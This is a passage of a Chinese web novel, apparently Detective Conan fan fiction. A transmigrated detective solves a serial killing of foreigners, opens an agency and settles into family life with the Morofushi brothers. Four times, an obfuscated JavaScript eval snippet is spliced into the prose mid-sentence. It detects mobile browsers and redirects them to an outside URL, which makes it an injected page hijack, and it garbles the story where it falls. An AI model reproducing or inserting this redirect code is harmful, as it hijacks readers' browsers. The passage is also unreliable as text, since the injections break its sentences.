“也是本次案件的三位嫌疑人之一。”与此同时，松本清长突然走过来，冷硬地补充着。 流川玄奈点头致意。目暮十三像是想缓和气氛，立刻切入正题：“流川小姐，你问出什么了吗？” “受害人大致的行踪已经清楚了。”流川玄奈顿了一下，视线扫过毛利小五郎，有些迟疑，现在可是有嫌疑人在场啊！ “啊，已经没事了，”目暮十□□应过来，摆摆手，“毛利老弟已经靠自己洗清了嫌疑，还把真相查清楚了。” 毛利小五郎年纪尚轻，压不住脸上的得意，却又故作谦虚地连连摆手：“哎呀，哪里哪里，是这起案件我刚好有些头绪……” 他将自己的推理讲述给刚到的松本清长和流川玄奈。 这次案件一共有三个嫌疑人，都在死者死亡前后路过杯户公园的那间公厕，被隐蔽摄像头拍到。 毛利小五郎，十九岁，米花大学学生。 另外两个嫌疑人，一个是走错路误入维修中的杯户公园、衣着考究、似乎很有钱的中年女士，另一个是因为上夜班的醉酒大叔，他是白天随便找地方睡觉找到案发地点的。 无一例外，都是百分百的日本人。 案发现场的照片中，死者侧倒在地，身上有电击/器造成的痕迹，致命伤则是锐器捅刺。他身边有且仅有一个帆布包，和死者弟弟说的不同，属于死者的包并没有丢失。 不仅如此，他似乎用最后的力气紧紧攥着那只包，包上的英文字母已被血迹浸染模糊，难以分辨。 案发地点实在特殊，尸体发现得太晚，中间的时间足够凶手处理凶器。因此，明面上的线索，只剩下死者可能传达的死亡讯息。 “……总之，”毛利小五郎在一大串杀人手法凶器处理方法的推测后，清了清嗓子，认真地看向那位中年女性，“死者死前一直握着那个帆布包，凶手一定就是姓氏和‘包’有关的——袋屋千枝子女士！” 流川玄奈听完，天马行空的杀人手法，直白天真的死亡讯息！简直像是三流侦探小说一样，怎么会有人信—— 一旁，方才还严肃的松本清长&总是沉稳可靠的佐藤正义相视一笑，眼里都有了答案。哪怕证据不足，他们对于这个年轻、气势十足又敢于推理的大学生还挺有好感的。 ？！流川玄奈见状也不藏拙，直接用上自己的线索，冷声道：“毛利同学，请先得结合受害人这边的情况吧，他是在包里多了个纸条的情况下——” 毛利小五郎眼前一亮，开心地拍手：“啊！这么说就通了！这位女士可是出了名的，看到顺眼的年轻男大学生就往人家包里塞名片。死者突然收到纸条，十有八九就是她的邀约！” 名叫袋屋千枝子的中年女性脸色愈发阴沉，她一身奢侈品，身家不菲的样子倒是确实符合毛利小五郎的描述。 与此同时，目暮十三也接到调查的信息，低声向松本清长汇报：“查过了，这位袋屋女士确实财力雄厚，和几个娱乐业团体有往来。几个月前她包养的一名外籍男性劈腿分手，之后她名下的产业全都开始排挤外籍员工——动机是存在的。而且……”他顿了顿，看了死者照片一眼，“这次被害人似乎相当帅气啊。” 当然，有嫌疑、有动机的不止是袋屋千枝子，另一位中年大叔被会多门语言的外国人抢了厨师的工作，现在只能回到赌场干夜班的辛苦工作。而毛利小五郎，他本人也承认，在大学里和位外国留学生有冲突。 这三个人都有仇视外国人、犯下连环杀人案的动机。 尤其是毛利小五郎，谁知道他是不是故意装傻混淆视听。流川玄奈提起精神，决定再谨慎地重新审视这些讯息。 监控画面里，三名嫌疑人身上都没有携带任何包袋。这意味着现场的帆布包，大概率是死者自己带去的。 死者死前的看向的方向，是一面被烟熏得乌黑的公共厕所外墙，这些人没有谁穿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199232|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑色，或者名字和这方面有关。至于包上的字母更加奇怪。 那就从嫌疑人的行踪再分析…… “玄奈姐，” 流川玄奈思考着，突然被叫住，她低头，对上诸伏景光仰起的脸。 “我借用这里的电话把讯息全告诉哥哥了，”男孩的声音压得很小，“哥哥刚刚给我回电话了，他对案件已经有思路了。” 好强的既视感，流川玄奈愣了一下，按照育儿书籍，这个时候甭管那些有的没的，要第一时间给孩子肯定：“辛苦啦，景光。” 她刚想提醒他，下次直接找她就可以了，她好歹也是成熟的大人，却见诸伏景光递来一张便签纸。稚嫩的笔迹记下了几个要点，他慢慢地分享着兄长的推理。 流川玄奈一开始还是不对这个推理抱有多少希望，诸伏高明再老成也不过是个高中生，再说，她早就已经想清楚凶手和案件关键了。 但是……小景光认真的样子很可爱。这孩子难得说这么多话，还是和案件有关。 流川玄奈因此，开始仔细地看那张纸。 …… “……玄奈姐。” 诸伏景光小心翼翼：“你从刚刚开始就不笑了。是推理有问题吗？” 流川玄奈回过神：“很厉害的推理，高明哥哥很聪明哦。”她顿了顿，又补了一句，“不过景光，你一定也可以这么厉害的。” 诸伏景光没料到会突然被点名，微微一怔，随即笑起来：“嗯。” “高明他的思路和我想的基本一致，有帮上忙哦，”流川玄奈把纸折好，收进包里，“但他毕竟不在这里，不清楚现场的具体情况，能够证明犯人的证据，恐怕已经找不到了。” “没有证据的话，怎么办？” 是啊。 实在是完美的作案场所和时间，以至于连警方都束手无策。 流川玄奈低头，对上那双澄澈的眼睛，决定认真地传授自己的答案：“证据这种东西，找不到了，当然是要再制造一个。” 13. 流川侦探事务所 案件被拖到傍晚六七点，袋屋千枝子在先前案发时间的不在场证明成立，被排除嫌疑。毛利小五郎也有学校的人作证。只剩下那个没有固定行踪的醉酒大叔——警方搜过他家后，什么都没找到。 由于线索不足，三个嫌疑人都被释放。连环杀人案也就暂时搁置了。 个头不高的犯人在离开警视厅后，低着头的笑容相当得意，警方果然没什么能力。 几个小时后，他又用同样的方法钓鱼上钩。只是这次，饵料不是洒向那些外国人，而是和自己同为犯罪嫌疑人的那个人。 他没有立刻回家，而是在便利店买了包烟，站在暗处抽完……他刚刚作过案，警方肯定盯得很紧，而那个人明天就要出国旅游，今晚是最佳时机。 地下赌场的外围灯光昏暗，除了客人外，也只有零星几个路人经过。 赌场老板，袋屋千枝子踩着高跟鞋匆匆从赌场门口经过，目光四处梭巡。 凶杀案的犯人和她擦肩而过，袋屋千枝子没有在意，这样外表普通的赌场员工显然不是叫她出来的目标 她当然没想到对方会撞过来，她没想到对方敢撞过来。 肩膀一沉，袋屋千枝子一个趔趄，嘴里刚蹦出一串脏话，撞到她的那人已经跑没影了。袋屋千枝子大力拍了拍身上的灰，又把挎包的拉链重新拉好，决定先继续往前走办正事。 大概几分钟后，在巷子的尽头，手电筒的光从另一侧出口刺来——是警方的人！袋屋千枝子瞬间僵在原地，吓得说不出话。 看着袋屋千枝子被警方团团围住，躲在不远处的男子，赌场员工杉山凑发出无声的冷笑。 “关于犯人的所有证据都在那个讨厌的女人包里，只要搜出来，她就是连环杀人犯。 不仅如此，借着日本警方的手找到了剩下的杀人目标，等几个月后风平浪静，又可以继续剩下的杀人计划——” “你是这样想的吧？” 年轻女人冰冷的声音突然出现在他身后，杉山凑浑身一僵。他猛地回头——流川玄奈站在两步外，神情淡漠。 她身旁还有好几名警察。 “你在赌场工作，是出老千的惯犯，老千，今天早上那场活动人那么拥挤，你想做点小动作不难。就像你刚刚当着我们所有人的面，往袋屋千枝子包里塞东西一样。” 杉山凑脸色骤变。流川玄奈还在继续推理：“死者说自己的帆布包丢了是真话，他拿到的其实是你的包，你们的帆布包都是活动赠品，同款同色调换起来很轻松。这也是死者为什么会紧紧握着包的原因。” “你在把死者叫到公共厕所后用电击/器作案，血迹、指纹，那么长时间内有太多办法可以处理。你只要把纸条藏在衣服里带走，再塞进替罪羊的包里——就像今晚这样。” 杉山凑嘴唇发白，这回轮到他吓得说不清话了：“……你到底是什么人？” “与你无关。” 他张了张嘴，想说什么，看见流川玄奈表情依旧，一副无论他说什么她都可以完美反驳的样子。 “你们这些恶心的外国人——为什么不能都去死！” 他突然冲了过来。 流川玄奈没有移动，她方才便调整了站位，目暮警官已经先一步挡在她面前，制服住了犯人。 另一边，袋屋千枝子看着突然冒出来的警察，脸色煞白：“不是我！我什么都没做！” “袋屋女士，”佐藤正义走上前，打开她的挎包，“麻烦配合一下。” 还没来得及沾上指纹的凶器和纸条都在里面，案件很快就水落石出。 佐藤正义感叹道：“流川小姐简直像侦探一样，提前打电话叫我们过来，你是怎么猜到他今天就动手的？” 流川玄奈语气谦虚：“我只是看到偶然看到犯人往袋屋女士包里塞东西，推测他们会在这里碰头。” 目暮十三凑过来：“这个犯人胆子也是够大，今天就动手……”他顿了顿，好奇地问道，“不过，如果犯人没有像今天这样，流川小姐会怎么破案？” 流川玄奈想了想，道：“我大概会一直盯下去，总有一天会露出马脚，”她意识到自己语气过于严肃，忙笑着补充道，“毕竟我是他的谋杀对象之一，可不能不积极啊。” 如果是苏格兰，也一定不会对这样的犯人坐视不理。 …… 关于凶手的事情告一段落。 坐在警方的车上，流川玄奈垂下眼眸，心里各种思绪浮起，诸伏景光已经被她提前送去周防家。今晚的案子，特殊点不止一处。 犯人以往作案，专挑单身人士夜间下手，一个月内连连犯下多起， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199233|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们这些在日本的外国人再胆大也不敢在夜间乱走。犯人可以下手的机会变少，他只好在针对外国人的宣传大会上碰运气，结果瞎猫撞上死耗子，随便一张纸条就把死者骗出来。 这位死者，名为绵谷哈珀的金发德国男子，还有很多疑点。 他很特别，手上的茧并不像厨师能有的，明明是德国人，拿手菜却是墨西哥风味料理……他会被骗，是因为他真的有要在偏僻地方见面的人。 那个包上的文字，原本的内容应该是Foreign Residents Information 之类的。不过，去掉被血糊掉的部分，剩下的字母异常清晰。 u、m、a 加上死者死前看到的，乌黑色（karas）的墙壁。 karas uma 乌丸。 即使是流川玄奈，在第一眼看到案发现场的照片时候，也不免呼吸一滞。 她曾经在的那个组织，首脑就叫是这个姓氏。 知道这件事的人，估计一只手都能数过来。她恰好是其中之一。 是巧合吗？流川玄奈凭感觉继续猜测，这位死者，又是哪个组织的员工，他拼死传递的消息，居然给她这个什么都知道的人知道了。 ……一切还有意义吗？ 流川玄奈的思考还没有结果，车先停了，一下车，一道中气十足的女声把她叫住。 袋屋千枝子不知何时已经从那辆车上下来，踩着高跟鞋大步走来，脸色虽然还有些发白，但已经恢复了不少，是某些富人特有的傲慢。 “流川小姐！”袋屋千枝子上下打量她一眼，语气直截了当，“你帮了我大忙，解决了这次案件——我就长话短说，我总是遇到案子，你在我这行能派上用场。要不要来给我当顾问？待遇从优。” 流川玄奈看着眼前这个女人。不愧是灰色产业的实权人物，地下赌场的老板，刚刚从杀人犯的栽赃里脱身就能重新开始网络人才，也是厉害啊。 现在正是那些行业刚开始蓬勃发展的黄金投资期，跟着这位阿姨混一定可以发财。 “抱歉，我对去赌场工作没什么兴趣，”流川玄奈笑了笑，递出写了自己传讯机号码的卡片，“再遇到棘手的案子直接来长野流川侦探事务所找我。 我是个侦探。” 14. 诸伏家今天的饭 流川玄奈决定回归老本行——她穿越前就是专门服务富豪的私家侦探。这次参与解决了连环杀人案的经历，让“流川侦探”这个名号在各类报刊中初次登场。 不过，她在和景光他们讨论后，最终还是放弃了把一户建改造成事务所的念头。虽然那两兄弟都很体贴地说没关系，但是，办公的场所混在“家”里，怎么想都还是会影响的。 而且，比起整天窝在屋里等业务上门，多出门走走，反倒更利于她融入这个时代。 这个既陌生，又有熟悉的人存在的时代。 流川玄奈索性在市区、离县警视厅不远的地方又租了间小店面。十六平米，刚好塞下一张办公桌、两把椅子、一个文件柜，装修起来也简单，她在门口挂上灯牌——“流川侦探事务所”。 这个年代的日本，侦探这行不需要什么特殊证件。只要不违法，谁都能挂牌开业。 当然，业务必须合法。流川玄奈将自己的服务内容用表单完整罗列：跟踪寻人、案件侦查、嗯……她根据这几天的观察，又加上了些常见的业务，像是企业背景调查、婚恋调查、窃听器排查、债务催收等。 接下来就是准备些名片，想办法投投广告，她正盘算着，刚接好不久的座机电话突然响起。 “喂。请问是流川小姑吗？”这个称呼，是走完收养程序后就改口的诸伏高明。 啊，今天，算时间，月见家应该就是这几天的车票。诸伏高明要搬过来了！流川玄奈恍然回神：“是我，高明，你在哪里？我开车——我打车去接你。” 她现在可不敢多花钱买车。 “您不用担心。月见小姨为我请了搬家团队，”老古董电话里的声音断断续续，混着杂音，“敢助君，你在做什么——” 那边隐约传来另一个少年的大嗓门。是大和敢助吧？上次在荞麦面店遇到的那个。 流川玄奈有些意外。原来诸伏高明也有和朋友斗嘴的一面？不过以他的性格，大概也是边引经据典边不动声色地损人，就像古人一样。 “辛苦了，我现在就过去。” 事务所和住处离得不远，走路只要十分钟。 相比于事务所周边的喧嚣，这片住宅区相当安静，毕竟是她精挑细选，得到景光、高明认可的地点。两层楼，白色外墙，门口的空地可以种些东西……未来他们三个人要在这里一起生活。 至少会待到八年后，景光读大学的时候，也希望她的药效可以坚持到那时候。 门口两个男生正搬着纸箱，一个是扎着小辫子的黑皮男高，另一个是胡子刮得干净，凤眼修长的白皮男高。 流川玄奈礼貌地开口：“高明，还有敢助君，搬家辛苦了。” 诸伏高明转过身，同样礼貌地回答她：“谈不上辛苦，小姑提前将每个房间标记清楚，一切才如此顺利。有劳你费心了。” 流川玄奈听了自然舒心，正犹豫着要不要再客套会儿，一旁的大和敢助也回过头，勾起嘴角笑着同她打招呼：“呦，小姑。” 嘶，这个称呼，她微微皱眉，还是开口：“你们两位，不用叫我小姑，叫我流川，或者玄奈都可以。” 之前只有诸伏高明这么叫的时候还不觉得，现在被一个不怎么熟的大小伙也这么叫，倒像是在提醒她自己和这些人的年龄差距一样。 诸伏高明依旧是随和地点头，他看着两人，颇为疑惑：“你们两位认识？” “吃荞麦面时偶遇的，”大和敢助问，答得自然，随即看向流川玄奈，“流川姐的调查后续怎么样？” “……被一位靠谱的公安朋友接手了，”流川玄奈顿了顿，观察着大和敢助的反应，答道：“对于你朋友，牧野健太郎的遭遇我很遗憾。” 大和敢助的反应比她想象中积极多了：“他吃了不该吃的药，做了不该做的事，能在犯下更严重的错误前被阻止，已经很幸运了。” 诸伏高明的目光在两人之间转了转，温和的措辞中似乎隐隐有几分不满：“恕我冒昧打断，你们说的是——” “你这家伙，该不会还不知道？”大和敢助立刻挑起眉打断，语气很是欠揍，“外守的案件，竹田组警察落网，还有啄木鸟会的事，都是你这位小姑的功劳。” 诸伏高明看向她，那双凤眼慢慢睁大了些，估计是在确认自己有没有听错吧？ 流川玄奈因为这眼神愣了愣，好一会才反应过来，她确实没和诸伏高明提过这件事。 —— 把最后几个纸箱收拾清楚的时间内，流川玄奈已经成功解释了啄木鸟会的事情，那些全是公安的功劳，和她自己毫无关系。 搬家工作只剩下收尾，流川玄奈翻出钱包，朝两个少年晃了晃：“辛苦你们再收拾下，我去趟超市。” “流川姐，”大和敢助和她算是熟悉了，“记得买点好吃的哦。” “敢助君。”诸伏高明的声音从旁边传来。 “干什么，又不是花你的钱。” 流川玄奈没理会他们，直接推门出去了。 超市离得同样不远。 她推着购物车，脑子里回忆着清单，先前筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199234|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子买少了，网购的地毯颜色也不合适，还有零食…… 她习惯性地拐向速食区。 今晚吃什么味的杯面……她穿越到现在，为了方便，都是吃些饭团、便当、杯面、冷冻炒饭、微波炉咖喱…… 豚骨味的包装似乎不错，流川玄奈伸出手， 在包装袋前忽然停下， 她现在已经不是一个人生活了。 流川玄奈反应过来，调转车头，往生鲜区走去。蔬菜、肉类、调味料……目光从货架上掠过，脑海里盘旋的是熟悉的问题。 正常的家庭应该是什么样的？ 至少不应该是三个人聚在一起吃速食。 …… 回到住宅时天刚刚黑。流川玄奈提着两大袋东西进门，直接钻进厨房。 洗菜、切菜、开火。她照着食谱一步一步来，动作难免生涩。 诸伏高明察觉得很快，他几乎是自觉地跟了过来：“需要帮忙吗？” “嗯。”她说，然后想了想，正常的家庭，应该要一起做饭吧，“你愿意的话，当然可以。” 诸伏高明看了看，伸手把刀拿过去，动作很轻，很仔细，但也算不上熟练。这家伙估计又是出于礼貌、义务之类的原因，觉得住她的房子总得做点什么？下次还算了吧，流川玄奈想，她其实还是有些积蓄可以用来请厨师…… “怎么了吗？” 突然的声音将流川玄奈心里的思绪叫停，她不可避免地愣了一下。 诸伏高明专心切着菜，没有抬头——明明在专注地准备料理，又能第一时间察觉她的表情， ……她过去认识的另一个人也是这样的。 那家伙作出的料理，她只吃过几次，却是印象深刻。 流川玄奈深吸一口气，压下突然泛起的酸楚：“没什么。谢谢你，高明。” —— 饭桌上的氛围还算和谐， 流川玄奈买了超市的熟食，又自己做了炖汤。大和敢助出乎意料地客气——她原本以为这个看起来粗犷的家伙会狼吞虎咽， 当然，他们能聊的话题还真是有限。毕竟，流川玄奈和这个时代都没什么共同话题，更何况是和这些高中生。 话题自然而然到了东京的连环杀人案件。 …… 她把自己的疑问分享给了两个高中生。 “受害人拼死传递的信息，是一个你早就知道的信息，”诸伏高明放下筷子，那双眼不再看她，而是对着桌面沉思，“所以，你觉得它没有意义——是这样吗？” 15. 搬家的第一夜 乌丸莲耶的名字被刻意隐去，流川玄奈只含糊地说是和案件凶手有关的线索。 说完她自己也有些懊悔，这两个高中生再怎么聪明也不过是高中生，何必把她这个26岁的大人都想不明白的困惑转移给他们。 作为家长，应该要更加积极乐观些才对，流川玄奈正要开口把话题岔开—— “玄奈小姐，”诸伏高明斟酌着措辞，先一步开口，“既然这件事情对于那个人是对的，那就是有意义的。” “所谓，鞠躬尽瘁，死而后已，至于成败利钝，非臣之明所能逆睹也，大概就是这样，”他顿了顿，明明是在理性地分析，却让人感到温和，“他传递线索的时候，对于之后的一切，想必已经做好了各种准备。无论结果如何，他选择了做他认为对的事。这是我的拙见。” 又是诸葛孔明的名言啊……流川玄奈垂下眼帘，顺着他的话思考，一旁的大和敢助似乎对此习以为常，一拍掌也分享自己的观点：“想那么多干什么？受害人最后的目的是破案，流川你已经破案了，当时有没有意义已经不重要了。” 是啊，跳出情况，看最终目的。 不过——那个受害人最终的目的可不是破案， 流川玄奈很无奈。 乌丸莲耶，还有他手底下只手遮天的庞大组织，这些事情。她穿越前的时代根本解决不了，现在，更难了。 这个话题太沉重了，她扯了扯嘴角，算是笑着略过：“是啊，对了，这道炖汤怎么样？” 好生硬， “相当可口，尤其是肉类的处理，”感到对方话语刻意的诸伏高明没有迟疑多久，马上接道。 他倒是已经熟悉流川玄奈的说话风格，配合地转移话题：“说起来，玄奈小姐，班上的老师问，你要加入PTA吗？” 全称是“Parent-Teacher Association”，是广泛存在于日本各地的中小学里的家长教师协会。 流川玄奈提前做过功课，原则上家长可以自愿选择是否加入，需要参与定期的会议和活动，频率因学校而异。高明刚上高中的话，PTA要负责的估计会比小学幸苦很多。 她没有接触过这些，她的父母也从来不会参与这些。 穿越前的她对小孩一向不感兴趣，也没怎么想过自己也会有成为家长的一天。 “我——很感兴趣！” 方才还露出一脸迷茫的女人两眼一亮——作为一名合格的家长，等景光高中，她也要去景光学校的PTA，无论如何都应该熟悉一下。 诸伏高明看着对面忽然精神抖擞的流川玄奈，有些哭笑不得。 ……完全摸不透啊。 这位亲戚刚刚聊到命案时，明显话里有话，想来事情没有那么简单……也许，她就是方才提到的公安本人？她接近他们的理由到底是什么？为什么总是对他们很上心？ 算了。 诸伏高明收回思绪，唇角浮起无奈的笑意，条理清晰地继续把PTA的事情讲给流川玄奈听。 —— 次日，周六， 一大早，周防女士就坐着最早的车把诸伏景光送了过来，相比起同样在长野的诸伏高明，诸伏景光的行李要简单些。 “景光这孩子说只带这些就够了，我们怎么劝都没用。”周防女士一下车，便有些不好意思地笑了笑，目光落在身边安静站着的男孩身上。 诸伏景光刚刚回过神，眨了眨眼，乖巧地向流川玄奈打招呼：“玄奈姐，早上好，”他顿了顿，又看向周防女士，“伯父伯母给的东西实在太多了，我只想把我从长野带去东京的东西带过来就行了。剩下的还是还给堂弟吧？那些本来也是他的。” 周防女士轻轻叹了口气，语气里带着点无奈：“你这孩子，就是太为人着想，什么事都藏在心里，我们也不好勉强。” 她转而看向流川玄奈。流川玄奈认同地点头，接过行李箱，还没来得及带周防女士进屋，对方便因为突发的急事，十分歉疚地离开了。 门关上后，屋里忽然安静下来，诸伏高明早起出了趟门，房间里此时只剩她和诸伏景光。 “之前给你看过照片，”流川玄奈尽量让语气听起来亲和些，“二楼左边第一间是你的房间。隔壁依次是高明哥哥和我。先去看看吧。” 她刚走了两步，又停下来回头看诸伏景光——他还在玄关站着，似乎在犹豫该把鞋子放哪里。 “……不用那么拘谨，有问题就直接提出，”她顿了顿，“我也很久没和别人一起住了，所以考虑得不是很充分。” 说完，流川玄奈自己先移开视线：“那边是浴室，如果要用热水的话需要等一会儿，这边是厨房和客厅……” 诸伏景光跟在她身后，听得认真又专注。 二楼的阳台现在阳光正好，她特意放了两张斜斜的躺椅，躺在上面一定很惬意，诸伏景光应该也会喜欢。 “这一片是老住宅区，邻居都是住了几十年的老头老太太……早上会有猫来院子里晒太阳。你不用管它们。” 她把能想到的事项都说了出来。 “……总之，先住着，有什么缺的随时和我说。” —— 第一个晚上比预想得要简单些，流川玄奈没有睡着，她起床写了很久的日记，穿越前往事，未来的计划，心中的思绪乱七八糟写了好几页。隔壁房间的灯也亮到很晚，诸伏高明似乎也在忙什么。 一夜过去，周一， 她先带景光去新学校，路途虽然不远，流川玄奈心里还是暗自发誓，赚到钱就买车！她随后去了诸伏高明在的高中，顺利办完PTA入会手续。 流川侦探事务所刚开张，没有工作是常态。她从前的上司朗姆是个急性子，总是强调要主动要积极。 于是，流川玄奈积极地走进社区，本来只是想发点名片混个脸熟，意外看到了些寻猫寻狗启示，上面的赏金相当诱人。她把那些侦探技能用在这上面，居然还挺有意思的。 流川玄奈忙得不亦乐乎，赶在小学放学前收工，她是最早到校门口的一批家长，放学铃一响，她就迫不及待地往学校里张望：相似的黄色帽子里始终找不到熟悉的影子。 ……学生都快走光了，她才看见诸伏景光。 流川玄奈松了口气，很快又紧张起来，她第一时间跑了过去。 那孩子低着头，走得不快。他旁边正是他们班那位年轻老师。 “景光家长！”老师看见她，笑着招招手，“这孩子很有礼貌很优秀哦，今天的表现非常好，就是不太爱说话。我们刚刚留下来聊了一会儿，毕竟刚转学过来，你要鼓励他勇敢一点哦。” 流川玄奈听着点头，看向诸伏景光：“今天怎么样？” “班上的老师、同学都很好。”他顿了顿，“你给我准备的便当也很好吃，谢谢你，玄奈姐。” 流川玄奈有些心虚，好吃的部分应该是早上去附近餐馆买的配菜，这点心虚很快就被压下，她观察着诸伏景光， 嗯，看起来也不像有什么事。 同那位老师道别后，流川玄奈正要边走边澄清便当的事情，身后突然传来一阵急促 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199235|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脚步声。 一个穿着时髦的女人小跑过来，高跟鞋敲在地上哒哒响。 “站住！你就是这孩子的家长？你家孩子第一天来就把我儿子推倒了！” 那女人一把拉住流川玄奈的胳膊，上气不接下气地喘了两口，高高抬起下巴：“我问你，你是怎么教育小孩的？第一天转学来就打人？乡下地方来的就是没教养！” 她说着回头瞪了一眼跟在后头磨磨蹭蹭的男生：“健太，过来！让她看看你摔成什么样了！” 流川玄奈扫了一眼那个走来的男孩走过来，他身上干干净净，连个泥点都没有，他看了景光一眼，眼神躲闪地挠挠头，不说话。 不用问，流川玄奈都知道事情不是这样。 流川玄奈收回视线，不紧不慢地将那女人的手拿开，那女人倒是想抓住不放，但她力气哪里比得过流川玄奈。 流川玄奈语气平静：“首先，我们是从东京来的。” 那女人一愣，对方第一句竟然是在驳斥她？她立刻大声道：“管你哪里来的，我儿子的手可是实打实受伤了。我要求道歉，赔偿……你信不信我找老师找校长，让那个没教养的小孩退学！” 流川玄奈没理她，迅速走到男孩面前查看了所谓的伤口——他没来得及反抗，流川玄奈已经松手。这种难度的推理对她来说实在容易：“事情很简单，我家孩子太优秀了，你儿子想为难他，没成功，反而自己不小心摔了一跤。” 流川玄奈很欣慰，真不愧是苏格兰的幼年体，没有吃亏。 那女人张了张嘴，脸涨得通红：“你、你胡说什么？我儿子怎么可能——” 流川玄奈打断她：“我的建议是多锻炼身体，这个年纪还容易摔跤并不是健康的征兆。 以及，我家孩子没有错，至于你家孩子怎么样，女士，你自己清楚。” 那女人估计没见过杀人犯，被流川玄奈吓得哆嗦。流川玄奈也不再看她，转向诸伏景光。 他似乎也被那女人吓到了。 “……景光。”她开口，声音比刚才软了一点，“下次遇到这种事，要和我说——不，当我没说，你想说就说，不想说也没事。” “嗯。” “我们回家吧。” —— 除了学校的事， 搬家后的一周，流川玄奈认真经营着这份工作，她接到的委托越来越多，虽然大多是些从前绝不会浪费时间、一点兴趣都没有的案子，但这就是日常。她开始习惯和这些不同的人沟通，对于炖汤的配料、附近的料理店也越来越熟悉。 她回到家，常常能看到被打扫干净的客厅，温热的料理，免不了感慨，不久前她还在一个人吃杯面。现在这个家里，住进了两个少年。 这就是日常吧。 日常，平淡，有意思，没什么不好。 星期五的傍晚，她照常出门买食材，毕竟是周末，她想做些特别的料理，庆祝搬家第一周。这个时间点，空气中是家家户户料理的味道，她已经能辨别一些了。流川玄奈边胡思乱想，拐进常去的街道。 这条路在维修啊……虽然感到奇怪，流川玄奈没多想，她知道另一条便捷的巷子在那里。 …… 巷子里的脚步声混杂，光线也比以往暗，周围的人并不少，但都专注于自己的事情。流川玄奈看了手表，她要抓紧时间。 她放慢脚步，余光扫过四周。 针对她、跟踪她的人，会是谁？ 啄木鸟会？长野本地势力？ 还是那个属于乌丸莲耶的组织？ 16.龙虎相斗 傍晚，诸伏高明一踏进家门，就看到诸伏景光趴在桌上。 “哥哥，玄奈姐去买菜了，我的作业很快就写完了，”诸伏景光抬起头，看过来的眼睛闪闪发光，“我想起了妈妈之前教的料理，等会想和玄奈姐一起下厨，哥哥要一起吗？” “好啊。” 诸伏高明心里一阵暖意，他弟弟明显开朗了很多。 仔细想想，他们兄弟两人一起生活，还有那位细心的流川小姑在，确实比从前更加利于景光成长……那孩子和小姑这几天总是笑着欢迎他回家，而他自己也觉得，蛮不赖的。 考虑到流川玄奈出去买菜还没回来。诸伏高明便从书架上抽出一本书，是流川玄奈买来的，一本最近才发表的古文新解。 他很感兴趣。 【强人所难，反为其行。】 明明做不来，却为了别人，硬逼自己去做不擅长的事……很难不让人联想啊。诸伏高明看着书中内容若有所思。 他那位小姑最近在PTA里相当活跃，她明明不是什么擅长社交的人，却因为他们而努力……真是让人不知道要怎么感谢。 思及此，家里新装的座机突然响起，诸伏高明立刻起身接起，陌生的号码，不知道什么原因，播放出的似乎是留言，断断续续，但确实是流川玄奈的声音。 “抱歉……我不回去了……在门口抽屉里……记得……” 诸伏高明试图询问，只传来结束的提示音。那女人一向没什么情感的声音让他不由得皱眉，直觉不是什么好事。 诸伏高明立刻根据只言片语，打开了门口的抽屉，里面有张写着寻呼机号码的卡片。卡片下方的东西更加出乎意料——警方与外守一交易的记录，以及他和大和敢助的同学，牧野健太郎曾从警方购买的药……为什么会在流川玄奈这里？ 诸伏高明没有犹豫，立刻开始尝试联系寻呼机号码，同样没有结果。过于敏锐的头脑让他很快想到各种可能性， 流川玄奈一定和长野县黑/警被捉，啄木鸟会被瓦解的事情有关。她查到了很多，也因此被盯上了……现在的情况不好说。 线索只有这些，以及刚才的留言。 心里担心，诸伏高明来不及多想，交代景光自己在家安静等着，就沿着流川玄奈平常买菜的那条路出门。 —— 空荡偏僻的巷子里， 和诸伏高明想的不同，流川玄奈抢在背后的人之前，先一步出手，迅速夺走那人手上的电击/器——他完全没料到流川玄奈能发现他，连开关都没来得及按下。 是个二十出头，穿着普通的小胡子男子，流川玄奈对他有印象，他是之前帮她运送证件的虎田家家丁。 流川玄奈颇为不悦：“为什么来找我？” 